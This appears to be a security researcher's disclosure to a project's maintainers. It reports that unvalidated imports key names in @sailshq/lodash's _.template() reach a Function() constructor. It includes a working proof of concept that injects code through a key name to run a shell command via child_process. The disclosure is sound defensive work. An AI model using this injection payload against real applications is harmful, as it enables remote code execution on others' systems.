#7381·sails

[SECURITY] Remote Code Execution via Unvalidated `imports` Key Names in `_.template()`

Author: I3r4dd0ckCreated Jul 14, 2026Updated Jul 14, 2026

Hi,

My name is Twan — I'm a security researcher, and while digging into how JavaScript libraries handle compiled/sandboxed code execution, I came across something in @sailshq/lodash I think is worth flagging to you directly.

Summary

@sailshq/lodash's _.template() validates the variable option against an identifier blocklist, but never applies the same check to the key names of the imports option before passing them as the parameter list of a Function() constructor call. An application that lets any part of an imports key name be attacker-influenced gets full remote code execution. This is the same sink upstream lodash fixed on 2026-03-31 (CVE-2026-4800) — this fork carries the older half of that fix but was never updated with the part that actually closes this hole.

Details

lib/index.js:

javascript
// line 160
var reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/;

// lines 11074-11075
importsKeys = keys(imports),
importsValues = baseValues(imports, importsKeys);

// line 11133 — variable IS validated
else if (reForbiddenIdentifierChars.test(variable)) {
  ...
}

// line 11161 — importsKeys is NOT validated
return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);

importsKeys are spread directly as the parameter list of a Function() constructor call, with no character validation of any kind. The reForbiddenIdentifierChars blocklist exists in this codebase and is applied to the variable option (line 11133), but is never applied to importsKeys.

This is the exact sink upstream lodash (lodash/lodash) fixed in CVE-2026-4800.

PoC

Tested on @sailshq/[email protected] (latest published version at time of report):

javascript
const _ = require('@sailshq/lodash');

const key = '{ [(global.__RCE__=require("child_process").execSync("id").toString().trim(),0)]: x }';
const compiled = _.template('hi', { imports: { [key]: 1 } });
compiled({});

console.log(global.__RCE__);

Running this executes id and prints its output.

Impact

Any application that passes attacker-influenced content into an imports key name of _.template(). This is the identical precondition shape as upstream lodash's own CVE-2026-4800 and underscore.js's CVE-2021-23358 (settings.variable) — both real, maintainer-patched CVEs on the same API family — so this is a recognized, credible threat model, not a hypothetical one specific to this fork.

Affected versions

Confirmed present on 3.10.7 (latest published version at time of this report).